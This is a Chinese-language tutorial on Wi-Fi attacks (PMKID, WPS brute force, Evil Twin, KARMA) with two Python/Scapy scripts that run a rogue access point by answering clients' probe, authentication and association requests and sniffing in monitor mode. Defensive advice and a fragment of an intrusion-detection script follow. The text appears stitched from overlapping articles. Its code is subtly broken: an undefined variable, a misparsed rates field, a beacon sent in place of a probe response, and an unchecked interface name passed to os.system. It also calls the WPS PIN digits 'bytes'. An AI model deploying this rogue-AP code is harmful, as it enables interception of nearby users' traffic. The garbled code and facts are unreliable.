Wi-Fi 搶包攻擊是常見的網路安全威脅,攻擊者藉此竊取無線網路流量。這類別攻擊利用各種漏洞,模擬合法的 Wi-Fi 存取點,誘騙使用者連線以竊取資料。常見攻擊型別包括 PMKID 攻擊,它利用 PMKID 加速 Wi-Fi 破解,無需進行去認證或捕捉握手過程;WPS 攻擊則鎖定 WPS PIN 驗證過程的漏洞,進行暴力破解;中間人攻擊則讓攻擊者置入自身裝置於合法存取點和客戶端之間,攔截並篡改流量資料。文章提供的 Python 程式碼範例示範瞭如何使用 Scapy 函式庫模擬中間人攻擊,程式碼包含設定網路卡、回應探測請求、認證請求和關聯請求等功能。理解這些攻擊手法和程式碼邏輯,有助於開發更安全的無線網路應用。除了攻擊手法,文章也提供一些無線網路安全建議,例如停用 WPS、使用強密碼、定期更新韌體以及啟用 WPA3 或 WPA2 加密協定,以降低風險。
無線網路安全攻防技術
Wi-Fi 搶包攻擊
Wi-Fi 搶包攻擊是一種常見的網路安全威脅,攻擊者通常會利用這些漏洞來竊取無線網路的流量。Wi-Fi 搶包攻擊的基本原理是,攻擊者會模擬合法的 Wi-Fi 存取點,並誘讓使用者連線到這個假的存取點,從而竊取使用者的流量資料。
這些攻擊通常分為以下幾種型別:
PMKID 攻擊:PMKID(Pairwise Master Key Identifier)是一種用於加速 Wi-Fi 破解過程的技術。與傳統的四向握手(Four-way handshake)不同,PMKID 攻擊不需要進行去認證(deauth)或捕捉握手過程,甚至不需要客戶端連線到網路。這使得攻擊者可以更快速地取得金鑰並進行破解。
WPS 攻擊:WPS(Wi-Fi Protected Setup)是一種簡化 Wi-Fi 連線過程的技術,允許使用者透過按下按鈕、輸入 PIN 或 NFC 來加入網路。然而,WPS 的 PIN 驗證過程存在漏洞,可以被暴力破解。攻擊者通常會嘗試暴力破解 8 位數的 PIN,因為它只包含 7 個隨機位元組和一個校驗碼。
中間人攻擊:中間人攻擊(Man-in-the-Middle Attack)是指攻擊者在合法的無線存取點和客戶端之間插入自己的裝置,模擬合法的 Wi-Fi 存取點。當客戶端嘗試連線到這個假的存取點時,攻擊者可以攔截和篡改流量資料。
中間人攻擊程式碼實作
以下是一個簡單的 Python 段落範例程式碼,展示如何利用 Scapy 函式庫來實作 Wi-Fi 中間人攻擊。這段程式碼會模擬一個假的無線存取點,並回應客戶端的探測請求(Probe Request)。
#!/usr/bin/env python3
import os
import sys
import time
import getopt
from scapy.all import *
iface = "wlp2s0"
iwconfig_cmd = "/usr/sbin/iwconfig"
ssid_filter = []
client_addr = None
mymac = "aa:bb:cc:aa:bb:cc"
# 提取速率和擴充套件速率從 ELT 頭部
def get_rates(packet):
rates = "\x82\x84\x0b\x16"
es_rates = "\x0c\x12\x18"
while Dot11Elt in packet:
packet = packet[Dot11Elt]
if packet.ID == 1:
rates = packet.info
elif packet.ID == 50:
es_rates = packet.info
packet = packet.payload
return [rates, es_rates]
def send_probe_response(packet):
ssid = packet.info.decode()
rates = get_rates(packet)
channel = "\x07"
if ssid_filter and ssid not in ssid_filter:
return
print("\n\nSending probe response for " + ssid + \
" to " + str(packet[Dot11].addr2) + "\n")
# addr1 = destination, addr2 = source, addr3 = access point
# dsset sets channel
cap = "ESS+privacy+short-preamble+short-slot"
resp = RadioTap() / \
Dot11(addr1=packet[Dot11].addr2,
addr2=mymac,
addr3=mymac) / \
Dot11ProbeResp(timestamp=int(time.time()),
cap=cap) / \
Dot11Elt(ID='SSID',
info=ssid) / \
Dot11Elt(ID="Rates",
info=rates[0]) / \
Dot11Elt(ID="DSset",
info=channel) / \
Dot11Elt(ID="ESRates",
info=rates[1])
sendp(resp, iface=iface)
def send_auth_response(packet):
# Don't answer our own auth packets
if packet[Dot11].addr2 != mymac:
print("Sending authentication to " + packet[Dot11].addr2)
res = RadioTap() / \
Dot11(addr1=packet[Dot11].addr2,
addr2=mymac,
addr3=mymac) / \
Dot11Auth(alg=0,
seqnum=2,
status=0)
sendp(res, iface=iface)
def send_association_response(packet):
if ssid_filter and ssid not in ssid_filter:
return
ssid = packet.info
rates = get_rates(packet)
print("Sending Association response for " + ssid + \
" to " + packet[Dot11].addr2)
res = RadioTap() / \
Dot11(addr1=packet[Dot11].addr2,
addr2=mymac,
addr3=mymac) / \
Dot11AssoResp(AID=2) / \
Dot11Elt(ID="Rates",
info=rates[0]) / \
Dot11Elt(ID="ESRates",
info=rates[1])
sendp(res, iface=iface)
# This function is called for every captured packet
def handle_packet(packet):
sys.stdout.write(".")
sys.stdout.flush()
if client_addr and packet.addr2 != client_addr:
return
# Got probe request?
if packet.haslayer(Dot11ProbeReq):
send_probe_response(packet)
# Got authentication request?
elif packet.haslayer(Dot11Auth):
send_auth_response(packet)
內容解密:
這段程式碼利用 Scapy 函式庫來捕捉和處理無線網路的封包。以下是每個部分的詳細解說:
- 匯入必要的模組:程式碼首先匯入了 Python 和 Scapy 的相關模組。
- 設定變數:定義了網路卡介面、無線組態命令、SSID 過濾列表、客戶端地址和自己的 MAC 地址。
- 提取速率和擴充套件速率:
get_rates函式用來從封包中提取速率和擴充套件速率。 - 回應探測請求:
send_probe_response函式用來回應客戶端的探測請求,模擬一個假的無線存取點。 - 回應認證請求:
send_auth_response函式用來回應客戶端的認證請求。 - 回應關聯請求:
send_association_response函式用來回應客戶端的關聯請求。 - 處理捕捉到的封包:
handle_packet函式會對每個捕捉到的封包進行處理,根據封包型別呼叫相應的回應函式。
無線網路安全建議
為了提高無線網路的安全性,建議採取以下措施:
- 停用 WPS:WPS 雖然方便但存在安全漏洞,建議在家庭和辦公環境中停用 WPS。
- 使用強密碼:設定強密碼並定期更換,避免使用簡單易猜的密碼。
- 定期更新韌體:確保無線存取點和客戶端裝置的韌體及時更新,修補已知漏洞。
- 啟用加密協定:使用 WPA3 或 WPA2 加密協定保護無線網路流量。
無線網路中間人攻擊風險評估
Wi-Fi 中間人攻擊對於企業和個人使用者都構成了嚴重威脅。以下是一些評估風險及防範措施:
請考慮以下因素:
物理接近性:
大多數 Wi-Fi 中間人攻擊需要物理接近目標網路,因此在高安全需求環境中,限制未經授權裝置進入區域是有效防範措施之一。
網路流量分析:
企業應該佈署網路流量分析工具來檢測異常流量模式。這有助於早期發現可能存在的中間人攻擊。
認證機制強化:
使用多重因素認證 (MFA) 可以顯著提升登入安全性。即使攻擊者成功攔截資料流量,也難以取得完整認證資訊。
加密協定更新:
確保所有裝置均使用最新且最安全的加密協定 (如 WPA3),並停用舊版且不安全協定 (如 WEP)。
動態環境監控:
佈署動態環境監控工具來持續檢查網路狀況,包括未經授權裝置連線及異常行為。
Wifi Man-in-the-Middle 攻擊與防範
在現代網路安全中,WiFi Man-in-the-Middle(MitM)攻擊是一種常見且危險的威脅。這類別攻擊通常利用WiFi網路的特性,插入中間人進行資料攔截、篡改或盜取。本文將探討WiFi MitM攻擊的技術細節,並提供防範措施及實務應用案例。
MitM 攻擊的基本原理
WiFi MitM攻擊主要透過設定假冒的WiFi接入點(AP)來誘導使用者連線,從而攔截並篡改網路流量。常見的攻擊手法包括Evil Twin、KARMA和Known Beacons Attack等。
Evil Twin 攻擊
Evil Twin攻擊是最簡單且常見的MitM攻擊之一。攻擊者設定一個與目標WiFi網路相同SSID的AP,等待使用者自動連線。這種攻擊利用了使用者對已知SSID的信任,當使用者連線到假冒的AP時,攻擊者便能攔截所有網路流量。
KARMA 攻擊
KARMA攻擊是Evil Twin的一種變體,利用WiFi客戶端儲存歷史連線記錄的特性。當客戶端發出Probe-Request時,KARMA會回應所有已知的SSID,誘導客戶端自動連線。現代作業系統通常已經修復了這一漏洞,但仍需警惕。
Known Beacons Attack
Known Beacons Attack則利用一個包含常見SSID的字典,不斷傳送Beacon框架,希望有某個客戶端曾經連線過其中的一個SSID並啟用了自動連線功能。這種攻擊方法在現代裝置中也逐漸失效,但仍然是值得注意的威脅。
WiFi MitM 攻擊實戰案例
以下是一個簡單的Python指令碼,展示如何利用Scapy函式庫實作Evil Twin攻擊。該指令碼首先將網路卡設定為監聽模式,然後攔截並回應Probe-Request包以進行欺騙。
from scapy.all import *
import sys
import getopt
import os
def handle_packet(packet):
if packet.haslayer(Dot11ProbeReq):
send_probe_response(packet)
elif packet.haslayer(Dot11AssocReq):
send_association_response(packet)
elif packet.haslayer(Dot11Auth):
send_auth_response(packet)
def send_probe_response(packet):
ssid = "FakeSSID"
rates = get_rates(packet)
channel = 6
essid = Dot11Elt(ID='SSID', info=ssid, len=len(ssid))
rates_elt = Dot11Elt(ID='Rates', info=rates)
dsset = Dot11Elt(ID='DSset', info=chr(channel))
beacon = RadioTap()/Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mymac, addr3=mymac)/Dot11Beacon(cap="ESS+privacy")/essid/rates_elt/dsset
sendp(beacon, iface=iface)
def get_rates(packet):
rates = [1, 2, 5.5, 11]
for elt in packet[Dot11ProbeReq].info:
if elt.ID == 'Rates':
rates = [int(rate) for rate in elt.info]
break
return rates
def send_association_response(packet):
# 省略實作細節
pass
def send_auth_response(packet):
# 省略實作細節
pass
def usage():
print(sys.argv[0])
print("""
-a <addr> (optional)
-i <interface> (optional)
-m <source_mac> (optional)
-s <ssid1,ssid2> (optional)
""")
sys.exit(1)
if len(sys.argv) == 2 and sys.argv[1] == "--help":
usage()
try:
cmd_opts = "a:i:m:s:"
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage()
for opt in opts:
if opt[0] == "-a":
client_addr = opt[1]
elif opt[0] == "-i":
iface = opt[1]
elif opt[0] == "-m":
mymac = opt[1]
elif opt[0] == "-s":
ssid_filter = opt[1].split(",")
else:
usage()
os.system(iwconfig_cmd + " " + iface + " mode monitor")
print("Sniffing on interface " + iface)
sniff(iface=iface, prn=handle_packet)
內容解密:
在這段程式碼中,我們使用Scapy函式庫來處理WiFi網路流量。首先,我們定義了handle_packet函式來處理捕捉到的每個包。當捕捉到Probe-Request包時,我們呼叫send_probe_response函式來回應一個假冒的Probe-Response包。
get_rates函式:從Probe-Request包中提取傳輸速率,如果沒有找到則使用預設值。send_probe_response函式:構建並傳送一個假冒的Beacon框架,包含SSID、傳輸速率和頻道資訊。- 命令列引數解析:使用getopt函式庫來解析命令列引數,設定網路卡模式和過濾條件。
- 啟動捕捉:使用Scapy的
sniff函式開始捕捉網路卡上的流量。
這段程式碼展示瞭如何透過構建假冒的Beacon框架來實作Evil Twin攻擊。然而,這只是基礎示例,實際應用中需要考慮更多細節和安全措施。
防範措施
為了防範WiFi MitM攻擊,我們可以採取以下措施:
使用WPA3加密
WPA3是最新的WiFi安全協定,提供更強的加密和身份驗證機制。使用WPA3可以有效防止MitM攻擊。
驗證連線點
在連線到任何WiFi網路前,應該手動驗證AP的身份。避免自動連線未知或未信任的AP。
更新裝置韌體
定期更新路由器和其他WiFi裝置的韌體,確保修補已知漏洞。
監控網路流量
使用無線入侵檢測系統(WIPS)來監控網路流量,及時發現異常行為。例如,我們可以編寫一個簡單的Python指令碼來檢測Deauth DoS攻擊和SSID欺騙。
from scapy.all import *
import time
iface = "wlp2s0mon"
iwconfig_cmd = "/usr/sbin/iwconfig"
max_ssids_per_addr = 5
probe_resp = {}
nr_of_max_deauth = 10
deauth_timespan = 23
deauths = {}
def handle_packet(pkt):
if pkt.haslayer(Dot11Deauth):
deauth_detect(pkt)
return
小段落標題:內容解密:
在此範例中我們使用 Scapy 函式庫搭配 Python 編寫了一個簡單而有效地無線入侵檢測系統(WIPS),此程式碼主要目的是偵測 Deauth DoS 攻擊和 SSID 欺騙。
- Handle Packet:
handle_packet函式會檢查每個收到的封包是否具有Dot11Deauth層(即去認證封包)。如果有就會執行deauth_detect函式來處理。 - Deauth Detection:雖然
deauth_detect函式在程式碼中未完全呈現出來卻可想而知是判斷封包來源 MAC 地址是否在短時間內發送了過多去認證封包。 - Prob Request Detection:此外我們可以擴充此 WIPS 系統加入
Dot11ProbeReq檢測功能以提升偵測範圍。
# Detect probe response flooding from one address to multiple SSIDs
if pkt.haslayer(Dot11ProbeResp):
probe_resp_detect(pkt)
未來趨勢與技術選型分析
隨著IoT裝置和無線網路技術的普及,WiFi安全將面臨更大挑戰。未來趨勢可能包括:
- AI驅動的安全分析:利用AI技術進行實時威脅檢測和分析。
- 區塊鏈技術:利用區塊鏈技術提升無線網路身份驗證和資料完整性。
- 更強加密標準:如量子抵抗加密(Post-Quantum Cryptography)將成為主流。